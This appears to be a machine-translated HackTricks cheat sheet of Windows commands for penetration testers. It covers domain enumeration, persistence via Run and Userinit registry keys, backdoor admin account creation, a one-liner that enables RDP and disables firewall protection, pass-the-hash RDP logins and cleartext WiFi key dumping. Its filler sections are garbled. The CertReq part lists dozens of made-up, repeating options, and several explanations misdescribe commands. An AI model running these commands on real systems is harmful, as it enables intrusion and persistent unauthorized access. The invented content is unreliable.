hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2023-07-07 23:42:27 +00:00

107 KiB
Raw Blame History

ペンテスターのための基本的なWin CMD

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

システム情報

バージョンとパッチ情報

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

環境

set #List all environment variables

以下は強調するいくつかの環境変数です:

  • COMPUTERNAME: コンピュータの名前
  • TEMP/TMP: 一時フォルダ
  • USERNAME: ユーザー名
  • HOMEPATH/USERPROFILE: ホームディレクトリ
  • windir: C:\Windows
  • OS: Windows OS
  • LOGONSERVER: ドメインコントローラの名前
  • USERDNSDOMAIN: DNSで使用するドメイン名
  • USERDOMAIN: ドメインの名前
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

マウントされたディスク

Mounted disks refer to the additional storage devices that are attached and accessible to a computer system. These disks can be physical hard drives, solid-state drives (SSDs), or virtual disks. When a disk is mounted, it becomes part of the file system hierarchy and can be accessed and used by the operating system and applications.

In Windows, you can view the mounted disks using the mountvol command. This command displays a list of all the mounted volumes along with their corresponding volume names and paths. To execute the mountvol command, open a Command Prompt window and type:

mountvol

The output will show the volume names and paths of the mounted disks. You can also use the mountvol command with specific parameters to perform actions such as creating or deleting mount points.

It is important for pentesters to be aware of the mounted disks on a system as they may contain valuable information or provide potential attack vectors. By understanding the mounted disks, pentesters can identify possible targets for further investigation or exploitation.

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Defender

Windows Defenderは、Windowsオペレーティングシステムに組み込まれたマルウェア対策ソフトウェアです。Windows Defenderは、コンピュータを保護し、悪意のあるソフトウェアやウイルスから守るために使用されます。

ゴミ箱

ゴミ箱は、Windowsオペレーティングシステムで削除されたファイルを一時的に保存する場所です。ゴミ箱には、誤って削除されたファイルを復元する機能があります。ゴミ箱は、ディスク容量を節約するために定期的に空にすることが推奨されます。

dir C:\$Recycle.Bin /s /b

プロセス、サービス、ソフトウェア

Processes

プロセス

To list all running processes, you can use the tasklist command:

すべての実行中のプロセスをリストするには、tasklist コマンドを使用します。

tasklist

To kill a process, you can use the taskkill command followed by the process ID (PID):

プロセスを終了するには、taskkill コマンドに続けてプロセスIDPIDを指定します。

taskkill /PID <PID>

Services

サービス

To list all running services, you can use the net start command:

すべての実行中のサービスをリストするには、net start コマンドを使用します。

net start

To stop a service, you can use the net stop command followed by the service name:

サービスを停止するには、net stop コマンドに続けてサービス名を指定します。

net stop <service_name>

Software

ソフトウェア

To list installed software, you can use the wmic command with the product parameter:

インストールされているソフトウェアをリストするには、wmic コマンドに product パラメータを使用します。

wmic product get name,version

To uninstall software, you can use the wmic command with the product parameter and the call uninstall method:

ソフトウェアをアンインストールするには、wmic コマンドに product パラメータと call uninstall メソッドを使用します。

wmic product where name="<software_name>" call uninstall
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

ドメイン情報

ドメインの所有者の情報の取得

ドメインの所有者情報を取得するためには、Whoisクエリを使用します。Whoisクエリは、ドメイン名を指定して、そのドメインの登録情報を取得するためのコマンドです。

whois <ドメイン名>

DNSレコードの取得

ドメインのDNSレコードを取得するためには、nslookupコマンドを使用します。nslookupコマンドは、指定したドメイン名に関連するDNS情報を取得するためのコマンドです。

nslookup <ドメイン名>

ドメインのサブドメインの検索

ドメインのサブドメインを検索するためには、dnsenumツールを使用します。dnsenumツールは、指定したドメインに関連するサブドメインを検索するためのツールです。

dnsenum <ドメイン名>

ドメインのIPアドレスの取得

ドメインのIPアドレスを取得するためには、pingコマンドを使用します。pingコマンドは、指定したドメイン名に対してICMPエコーリクエストを送信し、そのドメインのIPアドレスを取得するためのコマンドです。

ping <ドメイン名>

ドメインのポートスキャン

ドメインのポートスキャンを実行するためには、nmapツールを使用します。nmapツールは、指定したドメインに対してポートスキャンを実行し、オープンしているポートを特定するためのツールです。

nmap -p- <ドメイン名>

以上がドメイン情報の取得に関する基本的なコマンドです。これらのコマンドを使用することで、ドメインに関する重要な情報を収集することができます。

# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

ログとイベント

Windowsイベントログ

Windowsイベントログは、システムの状態やアクティビティに関する情報を提供する重要なリソースです。以下は、一般的なWindowsイベントログの種類です。

  • Application: アプリケーションに関連するイベントが記録されます。
  • Security: セキュリティに関連するイベントが記録されます。
  • System: システムに関連するイベントが記録されます。
  • Setup: インストールやアンインストールに関連するイベントが記録されます。
  • Forwarded Events: リモートコンピュータから転送されたイベントが記録されます。

イベントログの表示

イベントログを表示するには、eventvwr.mscコマンドを使用します。このコマンドを実行すると、イベントビューアが開き、各イベントログのエントリを表示することができます。

イベントログのクリア

イベントログをクリアするには、wevtutil cl <ログ名>コマンドを使用します。<ログ名>には、クリアしたいイベントログの名前を指定します。

イベントログのエクスポート

イベントログをエクスポートするには、wevtutil epl <ログ名> <出力ファイル名>コマンドを使用します。<ログ名>には、エクスポートしたいイベントログの名前を指定し、<出力ファイル名>には、エクスポート先のファイル名を指定します。

イベントログのインポート

イベントログをインポートするには、wevtutil im <ログ名>コマンドを使用します。<ログ名>には、インポートしたいイベントログの名前を指定します。

イベントログの削除

イベントログを削除するには、wevtutil cl <ログ名>コマンドを使用します。<ログ名>には、削除したいイベントログの名前を指定します。

イベントログの設定

イベントログの設定を変更するには、wevtutil sl <ログ名> /e:trueコマンドを使用します。<ログ名>には、設定を変更したいイベントログの名前を指定します。

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

ユーザーとグループ

ユーザー

#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

グループ

グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。

グループの一覧表示

以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。

net localgroup

グループの作成

新しいグループを作成するには、次のコマンドを使用します。

net localgroup <group_name> /add

グループへのユーザーの追加

ユーザーを既存のグループに追加するには、次のコマンドを使用します。

net localgroup <group_name> <username> /add

グループからのユーザーの削除

ユーザーをグループから削除するには、次のコマンドを使用します。

net localgroup <group_name> <username> /delete

グループの削除

グループを削除するには、次のコマンドを使用します。

net localgroup <group_name> /delete

グループのメンバーの一覧表示

特定のグループのメンバーを一覧表示するには、次のコマンドを使用します。

net localgroup <group_name>

グループの権限の確認

特定のグループの権限を確認するには、次のコマンドを使用します。

net localgroup <group_name> /domain
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

セッションの一覧

To list all active sessions in the command prompt, you can use the following command:

net session

This command will display a list of all active sessions on the Windows machine.

qwinsta
klist sessions

パスワードポリシー

A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access and potential data breaches. Here are some common elements of a password policy:

  • Password Length: Specify the minimum and maximum length of passwords.
  • Complexity: Require the use of a combination of uppercase and lowercase letters, numbers, and special characters.
  • Expiration: Set a time limit for password validity, after which users must change their passwords.
  • History: Prevent users from reusing their previous passwords.
  • Lockout: Implement a mechanism that locks user accounts after a certain number of failed login attempts.
  • Two-Factor Authentication: Encourage or enforce the use of an additional authentication factor, such as a token or biometric verification.
  • Education: Provide guidelines and training to users on creating strong passwords and protecting their accounts.

By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive information from unauthorized access.

net accounts

資格情報

Credentials (資格情報) は、ユーザーがシステムやアプリケーションにアクセスするための認証情報です。これには、ユーザー名、パスワード、証明書、トークンなどが含まれます。ハッカーは、有効な資格情報を入手することで、システムに不正アクセスすることができます。

以下は、資格情報を入手するための一般的なテクニックです。

パスワード攻撃

パスワード攻撃は、ユーザーのパスワードを推測または破解することを目的とした攻撃です。一般的なパスワード攻撃の手法には、辞書攻撃、ブルートフォース攻撃、ハッシュの解読などがあります。

ソーシャルエンジニアリング

ソーシャルエンジニアリングは、人々の信頼を悪用して資格情報を入手する手法です。フィッシング、スパイウェア、キーロガーなどが一般的なソーシャルエンジニアリングの手法です。

デフォルトの資格情報

システムやアプリケーションには、デフォルトの資格情報が設定されている場合があります。ハッカーは、これらのデフォルトの資格情報を使用してシステムにアクセスすることができます。

パスワードリスト

パスワードリストは、一般的なパスワードや一般的なユーザー名の組み合わせのリストです。ハッカーは、パスワードリストを使用してシステムにアクセスすることができます。

パスワードマネージャ

パスワードマネージャは、ユーザーが複数のアカウントのパスワードを管理するためのツールです。ハッカーは、パスワードマネージャにアクセスすることで、ユーザーの資格情報を入手することができます。

パスワードリセット

パスワードリセットは、ユーザーがパスワードを忘れた場合に使用される手法です。ハッカーは、パスワードリセットのプロセスを悪用して、ユーザーの資格情報を入手することができます。

マルウェア

マルウェアは、悪意のあるソフトウェアのことであり、ハッカーはマルウェアを使用してユーザーの資格情報を盗むことができます。

これらのテクニックを理解し、資格情報の保護に努めることが重要です。

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

ユーザーによる持続性

Persistence is a crucial aspect of maintaining access to a compromised system. By establishing persistence, an attacker ensures that their access to the system remains even after a reboot or other system changes. In this section, we will explore various techniques for achieving persistence with user accounts.

Scheduled Tasks

Scheduled tasks are a powerful feature in Windows that allow users to automate the execution of programs or scripts at specific times or events. Attackers can leverage scheduled tasks to maintain persistence on a compromised system.

To create a scheduled task, you can use the schtasks command. For example, the following command creates a task named "EvilTask" that runs a malicious script every day at 12:00 PM:

schtasks /create /tn "EvilTask" /tr "C:\path\to\malicious_script.bat" /sc daily /st 12:00

To view existing scheduled tasks, you can use the schtasks /query command. If you have administrative privileges, you can also modify or delete scheduled tasks using the schtasks /change and schtasks /delete commands, respectively.

Registry Run Keys

The Windows Registry contains several "Run" keys that specify programs or scripts to execute when a user logs in. By adding entries to these keys, an attacker can achieve persistence by executing malicious code every time a user logs in.

The following Registry keys are commonly used for persistence:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

To add an entry to a Run key, you can use the reg add command. For example, the following command adds an entry named "EvilScript" that executes a malicious script when a user logs in:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /t REG_SZ /d "C:\path\to\malicious_script.bat" /f

To remove an entry from a Run key, you can use the reg delete command. For example, the following command removes the "EvilScript" entry from the current user's Run key:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "EvilScript" /f

Userinit Registry Key

The Userinit registry key specifies the programs or scripts to execute when a user logs in. By modifying this key, an attacker can achieve persistence by executing malicious code during the user login process.

The Userinit key is located at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. The default value of this key is C:\Windows\System32\Userinit.exe.

To modify the Userinit key, you can use the reg add command. For example, the following command modifies the Userinit key to execute a malicious script:

reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /t REG_SZ /d "C:\path\to\malicious_script.bat,C:\Windows\System32\Userinit.exe" /f

Remember to separate multiple entries with commas.

To remove the modification and restore the default value of the Userinit key, you can use the reg delete command. For example, the following command removes the modified Userinit key:

reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v "Userinit" /f

Conclusion

Persistence with user accounts is a critical technique for maintaining access to a compromised system. By leveraging scheduled tasks and modifying registry keys, an attacker can ensure their continued presence on the system. It is important for defenders to be aware of these techniques and implement appropriate security measures to detect and prevent unauthorized persistence.

# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

ネットワーク

インターフェース、ルート、ポート、ホスト、およびDNSキャッシュ

ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

ファイアウォール

A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.

ファイアウォールは、事前に設定されたセキュリティルールに基づいて、ネットワークトラフィックの入出力を監視および制御するネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

共有

Shares共有は、ネットワーク上でファイルやリソースを共有するための機能です。Windowsシステムでは、共有フォルダや共有プリンタなどの形で利用されます。

共有の一覧表示

以下のコマンドを使用して、システム上の共有を一覧表示することができます。

net share

共有の作成

新しい共有を作成するには、以下のコマンドを使用します。

net share <共有名>=<共有パス> [/GRANT:<ユーザー>:<アクセス権>]

共有名は、作成する共有の名前を指定します。共有パスは、共有するフォルダのパスを指定します。オプションとして、/GRANTを使用してユーザーにアクセス権を付与することもできます。

共有の削除

既存の共有を削除するには、以下のコマンドを使用します。

net share <共有名> /DELETE

共有名は、削除する共有の名前を指定します。

共有へのアクセス

共有へのアクセス権を確認するには、以下のコマンドを使用します。

net share <共有名>

共有名は、確認する共有の名前を指定します。

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

ワイヤレスネットワーク

View Available Networks

利用可能なネットワークの表示

To view the list of available wireless networks, use the following command:

利用可能なワイヤレスネットワークのリストを表示するには、次のコマンドを使用します。

netsh wlan show networks

Connect to a Network

ネットワークへの接続

To connect to a wireless network, use the following command:

ワイヤレスネットワークに接続するには、次のコマンドを使用します。

netsh wlan connect name="NetworkName"

Replace "NetworkName" with the name of the network you want to connect to.

"NetworkName" を接続したいネットワークの名前に置き換えてください。

Disconnect from a Network

ネットワークからの切断

To disconnect from a wireless network, use the following command:

ワイヤレスネットワークから切断するには、次のコマンドを使用します。

netsh wlan disconnect

View Network Interface Information

ネットワークインターフェース情報の表示

To view information about your network interfaces, use the following command:

ネットワークインターフェースに関する情報を表示するには、次のコマンドを使用します。

netsh wlan show interfaces

This will display details such as the interface name, state, and SSID.

これにより、インターフェース名、状態、およびSSIDなどの詳細が表示されます。

View Saved Network Profiles

保存されたネットワークプロファイルの表示

To view the saved network profiles on your system, use the following command:

システムに保存されたネットワークプロファイルを表示するには、次のコマンドを使用します。

netsh wlan show profiles

Delete a Saved Network Profile

保存されたネットワークプロファイルの削除

To delete a saved network profile, use the following command:

保存されたネットワークプロファイルを削除するには、次のコマンドを使用します。

netsh wlan delete profile name="ProfileName"

Replace "ProfileName" with the name of the profile you want to delete.

"ProfileName" を削除したいプロファイルの名前に置き換えてください。

netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

SNMPSimple Network Management Protocolは、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、デバイスの状態、トラフィックの統計、エラーメッセージなどの情報を取得するために使用されます。

SNMPは、エージェントとマネージャの間で通信を行います。エージェントは、監視対象のデバイスにインストールされ、デバイスの情報を収集し、マネージャに送信します。マネージャは、エージェントからの情報を受け取り、必要な処理を行います。

SNMPには、バージョン1、バージョン2c、バージョン3の3つのバージョンがあります。バージョン1とバージョン2cはセキュリティ機能が制限されており、パスワードなどの情報が平文で送信されるため、セキュリティ上のリスクがあります。バージョン3は、セキュリティ機能が強化されており、暗号化や認証などの機能がサポートされています。

SNMPは、ネットワークデバイスの管理と監視に便利なプロトコルですが、セキュリティ上のリスクも存在します。攻撃者は、SNMPを悪用してデバイスに侵入したり、情報を盗んだりすることができます。したがって、SNMPのセキュリティ設定を適切に行うことが重要です。

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

ネットワークインターフェース

Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow computers to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.

ネットワークインターフェース、またはネットワークアダプターまたはNICネットワークインターフェースカードとも呼ばれるものは、コンピュータがネットワークに接続するためのハードウェアデバイスです。これらはコンピュータとネットワークの間の物理的な接続を提供し、デバイス間の通信を可能にします。

In Windows, you can view and manage network interfaces using the ipconfig command. This command displays information about all network interfaces on the system, including their IP addresses, subnet masks, and default gateways.

Windowsでは、ipconfigコマンドを使用してネットワークインターフェースを表示および管理することができます。このコマンドは、システム上のすべてのネットワークインターフェースに関する情報を表示します。IPアドレス、サブネットマスク、デフォルトゲートウェイなどが含まれます。

To view the network interfaces, open a command prompt and type ipconfig. The output will show a list of network interfaces along with their details.

ネットワークインターフェースを表示するには、コマンドプロンプトを開き、ipconfigと入力します。出力には、ネットワークインターフェースの一覧と詳細が表示されます。

You can also use the netsh command to manage network interfaces. This command provides more advanced options for configuring and troubleshooting network settings.

ネットワークインターフェースを管理するためには、netshコマンドも使用できます。このコマンドは、ネットワーク設定の構成やトラブルシューティングにより高度なオプションを提供します。

Understanding network interfaces is essential for network troubleshooting and configuring network settings. By knowing how to view and manage network interfaces, you can effectively diagnose and resolve network connectivity issues.

ipconfig /all

ARPテーブル

ARPAddress Resolution Protocolテーブルは、ネットワークデバイスにおいて、IPアドレスとMACアドレスの対応関係を保持するテーブルです。ARPテーブルは、ネットワーク通信時にIPアドレスからMACアドレスを解決するために使用されます。

ARPテーブルの表示方法は、Windowsコマンドプロンプトで次のコマンドを実行します。

arp -a

このコマンドを実行すると、現在のARPテーブルが表示されます。各エントリには、IPアドレス、MACアドレス、およびインターフェースの情報が含まれています。

ARPテーブルは、ネットワーク攻撃やセキュリティ侵害の検出に役立つ情報を提供します。攻撃者は、ARPスプーフィングやARPキャッシュポイズニングなどの攻撃手法を使用して、ARPテーブルを悪用することがあります。したがって、ARPテーブルの定期的な監視と適切なセキュリティ対策が重要です。

arp -A

ダウンロード

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe

CertReq.exe is a command-line tool in Windows that is used for certificate enrollment and management. It allows you to create and submit certificate requests, retrieve and install certificates, and perform various operations related to certificates.

Syntax

certreq [Options] [ConfigFile | RequestFile | -New RequestString]

Options

  • -Accept - Accepts a pending certificate request.
  • -Retrieve - Retrieves a certificate or certificate chain.
  • -Submit - Submits a certificate request to a certification authority (CA).
  • -Sign - Signs a certificate request.
  • -PolicyServer - Specifies the policy server URL.
  • -PolicyServerCACert - Specifies the policy server CA certificate file.
  • -PolicyServerCAChain - Specifies the policy server CA chain file.
  • -PolicyServerCAHash - Specifies the policy server CA hash.
  • -PolicyServerDelete - Deletes a policy server.
  • -PolicyServerAdd - Adds a policy server.
  • -PolicyServerSet - Sets the policy server.
  • -PolicyServerGet - Gets the policy server.
  • -PolicyServerEnum - Enumerates the policy servers.
  • -PolicyServerGetDC - Gets the policy server domain controller.
  • -PolicyServerSetDC - Sets the policy server domain controller.
  • -PolicyServerGetDCCert - Gets the policy server domain controller certificate.
  • -PolicyServerSetDCCert - Sets the policy server domain controller certificate.
  • -PolicyServerGetDCCertChain - Gets the policy server domain controller certificate chain.
  • -PolicyServerSetDCCertChain - Sets the policy server domain controller certificate chain.
  • -PolicyServerGetDCCertHash - Gets the policy server domain controller certificate hash.
  • -PolicyServerSetDCCertHash - Sets the policy server domain controller certificate hash.
  • -PolicyServerGetDCCertStore - Gets the policy server domain controller certificate store.
  • -PolicyServerSetDCCertStore - Sets the policy server domain controller certificate store.
  • -PolicyServerGetDCCertStoreLocation - Gets the policy server domain controller certificate store location.
  • -PolicyServerSetDCCertStoreLocation - Sets the policy server domain controller certificate store location.
  • -PolicyServerGetDCCertStoreName - Gets the policy server domain controller certificate store name.
  • -PolicyServerSetDCCertStoreName - Sets the policy server domain controller certificate store name.
  • -PolicyServerGetDCCertStoreType - Gets the policy server domain controller certificate store type.
  • -PolicyServerSetDCCertStoreType - Sets the policy server domain controller certificate store type.
  • -PolicyServerGetDCCertStoreFlags - Gets the policy server domain controller certificate store flags.
  • -PolicyServerSetDCCertStoreFlags - Sets the policy server domain controller certificate store flags.
  • -PolicyServerGetDCCertStoreRoot - Gets the policy server domain controller certificate store root.
  • -PolicyServerSetDCCertStoreRoot - Sets the policy server domain controller certificate store root.
  • -PolicyServerGetDCCertStoreRootLocation - Gets the policy server domain controller certificate store root location.
  • -PolicyServerSetDCCertStoreRootLocation - Sets the policy server domain controller certificate store root location.
  • -PolicyServerGetDCCertStoreRootName - Gets the policy server domain controller certificate store root name.
  • -PolicyServerSetDCCertStoreRootName - Sets the policy server domain controller certificate store root name.
  • -PolicyServerGetDCCertStoreRootType - Gets the policy server domain controller certificate store root type.
  • -PolicyServerSetDCCertStoreRootType - Sets the policy server domain controller certificate store root type.
  • -PolicyServerGetDCCertStoreRootFlags - Gets the policy server domain controller certificate store root flags.
  • -PolicyServerSetDCCertStoreRootFlags - Sets the policy server domain controller certificate store root flags.
  • -PolicyServerGetDCCertStoreRootHash - Gets the policy server domain controller certificate store root hash.
  • -PolicyServerSetDCCertStoreRootHash - Sets the policy server domain controller certificate store root hash.
  • -PolicyServerGetDCCertStoreRootStore - Gets the policy server domain controller certificate store root store.
  • -PolicyServerSetDCCertStoreRootStore - Sets the policy server domain controller certificate store root store.
  • -PolicyServerGetDCCertStoreRootStoreLocation - Gets the policy server domain controller certificate store root store location.
  • -PolicyServerSetDCCertStoreRootStoreLocation - Sets the policy server domain controller certificate store root store location.
  • -PolicyServerGetDCCertStoreRootStoreName - Gets the policy server domain controller certificate store root store name.
  • -PolicyServerSetDCCertStoreRootStoreName - Sets the policy server domain controller certificate store root store name.
  • -PolicyServerGetDCCertStoreRootStoreType - Gets the policy server domain controller certificate store root store type.
  • -PolicyServerSetDCCertStoreRootStoreType - Sets the policy server domain controller certificate store root store type.
  • -PolicyServerGetDCCertStoreRootStoreFlags - Gets the policy server domain controller certificate store root store flags.
  • -PolicyServerSetDCCertStoreRootStoreFlags - Sets the policy server domain controller certificate store root store flags.
  • -PolicyServerGetDCCertStoreRootStoreRoot - Gets the policy server domain controller certificate store root store root.
  • -PolicyServerSetDCCertStoreRootStoreRoot - Sets the policy server domain controller certificate store root store root.
  • -PolicyServerGetDCCertStoreRootStoreRootLocation - Gets the policy server domain controller certificate store root store root location.
  • -PolicyServerSetDCCertStoreRootStoreRootLocation - Sets the policy server domain controller certificate store root store root location.
  • -PolicyServerGetDCCertStoreRootStoreRootName - Gets the policy server domain controller certificate store root store root name.
  • -PolicyServerSetDCCertStoreRootStoreRootName - Sets the policy server domain controller certificate store root store root name.
  • -PolicyServerGetDCCertStoreRootStoreRootType - Gets the policy server domain controller certificate store root store root type.
  • -PolicyServerSetDCCertStoreRootStoreRootType - Sets the policy server domain controller certificate store root store root type.
  • -PolicyServerGetDCCertStoreRootStoreRootFlags - Gets the policy server domain controller certificate store root store root flags.
  • -PolicyServerSetDCCertStoreRootStoreRootFlags - Sets the policy server domain controller certificate store root store root flags.
  • -PolicyServerGetDCCertStoreRootStoreRootHash - Gets the policy server domain controller certificate store root store root hash.
  • -PolicyServerSetDCCertStoreRootStoreRootHash - Sets the policy server domain controller certificate store root store root hash.
  • -PolicyServerGetDCCertStoreRootStoreRootStore - Gets the policy server domain controller certificate store root store root store.
  • -PolicyServerSetDCCertStoreRootStoreRootStore - Sets the policy server domain controller certificate store root store root store.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreLocation - Gets the policy server domain controller certificate store root store root store location.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreLocation - Sets the policy server domain controller certificate store root store root store location.
  • -PolicyServerGetDCCertStoreRootStoreRootStoreName - Gets the policy server domain controller certificate store root store root store name.
  • -PolicyServerSetDCCertStoreRootStoreRootStoreName - Sets the policy server domain controller certificate store root store root store name.
